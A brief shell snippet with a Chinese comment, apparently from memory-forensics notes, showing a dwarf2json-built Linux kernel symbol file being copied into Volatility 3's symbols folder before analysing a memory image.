[root@172 /dwarf2json]$ $ cp linux-image-4.15.0-184-generic.json ./volatility3/volatility3/framework/symbols/linux

vol3的符号表编译完成,然后再解析内存镜像就好了